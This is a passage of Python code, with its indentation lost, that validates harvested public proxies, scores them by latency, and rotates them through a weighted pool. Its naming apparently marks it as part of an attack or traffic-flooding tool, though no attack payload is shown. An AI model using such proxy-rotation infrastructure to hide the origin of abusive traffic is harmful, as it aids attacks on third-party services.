with suppress(Exception): s.close()
return TacticalProxy(proxy, 2200.0, False)
except:
with suppress(Exception): s.close()
return TacticalProxy(proxy, 2200.0, False)
else:
is_verified = True
latency = (time() - start_time) * 1000
with suppress(Exception): s.close()
return TacticalProxy(proxy, latency, is_verified)
except:
return TacticalProxy(proxy, 3000.0, False)
try:
tasks = [_check(p) for p in raw_proxies]
results = await asyncio.wait_for(asyncio.gather(*tasks), timeout=60)
tactical_proxies = [r for r in results if r is not None]
except asyncio.TimeoutError:
logger.warning(f"{bcolors.WARNING}[!] Resource: Validation timed out after 60s. Proceeding with partially validated pool.{bcolors.RESET}")
# Filter results from tasks that completed
tactical_proxies = [t.result() for t in tasks if t.done() and not t.cancelled() and t.result()]
elite_count = len([p for p in tactical_proxies if p.latency_ms < 1000])
logger.info(
f"{bcolors.OKGREEN}[*] Resource: Scoring complete. Elite-Tier: {elite_count:,} | Total Assets: {len(tactical_proxies):,} (Retained).{bcolors.RESET}"
)
tactical_proxies.sort(key=lambda p: p.score, reverse=True)
await asyncio.to_thread(INTEL_DB.update_proxy_scores, tactical_proxies)
return tactical_proxies
class TacticalProxyPool:
def __init__(self, proxies: List[TacticalProxy] = None):
self._proxies = proxies if proxies else []
self._failures = {} # Map proxy string to failure count
self._lock = RLock()
self._weights = []
self._last_weight_update = 0
self._update_weights()
def report_failure(self, proxy_obj: Proxy):
p_str = str(proxy_obj)
with self._lock:
self._failures[p_str] = self._failures.get(p_str, 0) + 1
def _update_weights(self):
with self._lock:
if not self._proxies:
self._weights = []
self._pool_copy = []
return
for p in self._proxies:
p_str = str(p.base)
p.update_score(self._failures.get(p_str, 0))
self._weights = [p.score for p in self._proxies]
self._pool_copy = list(self._proxies) # Create a read-only copy for lock-free access
self._failures = {}
self._last_weight_update = time()
# Periodically sync to DB
Thread(target=INTEL_DB.update_proxy_scores, args=(self._pool_copy,), daemon=True).start()
def update_pool(self, new_proxies: List[TacticalProxy]):
with self._lock:
self._proxies = new_proxies
self._failures = {}
self._update_weights()
if self._proxies:
avg_lat = sum(p.latency_ms for p in self._proxies[:50]) / min(50, len(self._proxies))
logger.info(
f"{bcolors.OKGREEN}[*] Tactical Pool: {len(new_proxies):,} nodes active. Elite-Tier Latency: {avg_lat:.1f}ms{bcolors.RESET}"
)
def get_proxy(self) -> Optional[Proxy]:
# Lock-free read path for maximum performance under heavy thread load
if time() - self._last_weight_update > 60:
self._update_weights()
pool = getattr(self, '_pool_copy', [])
weights = getattr(self, '_weights', [])
if not pool: return None
try:
return random.choices(pool, weights=weights, k=1)[0].base
except:
return pool[0].base
def __len__(self):
with self._lock: return len(self._proxies)
def get_tactical_size(self):
return len(self)
class AutonomousHarvester:
FALLBACK_APIS = [
"https://api.proxyscrape.com/v2/?request=getproxies&protocol=socks4&timeout=10000&country=all",
"https://api.proxyscrape.com/v2/?request=getproxies&protocol=socks5&timeout=10000&country=all",
"https://api.proxyscrape.com/v2/?request=getproxies&protocol=http&timeout=10000&country=all",
"https://raw.githubusercontent.com/TheSpeedX/SOCKS-List/master/socks5.txt",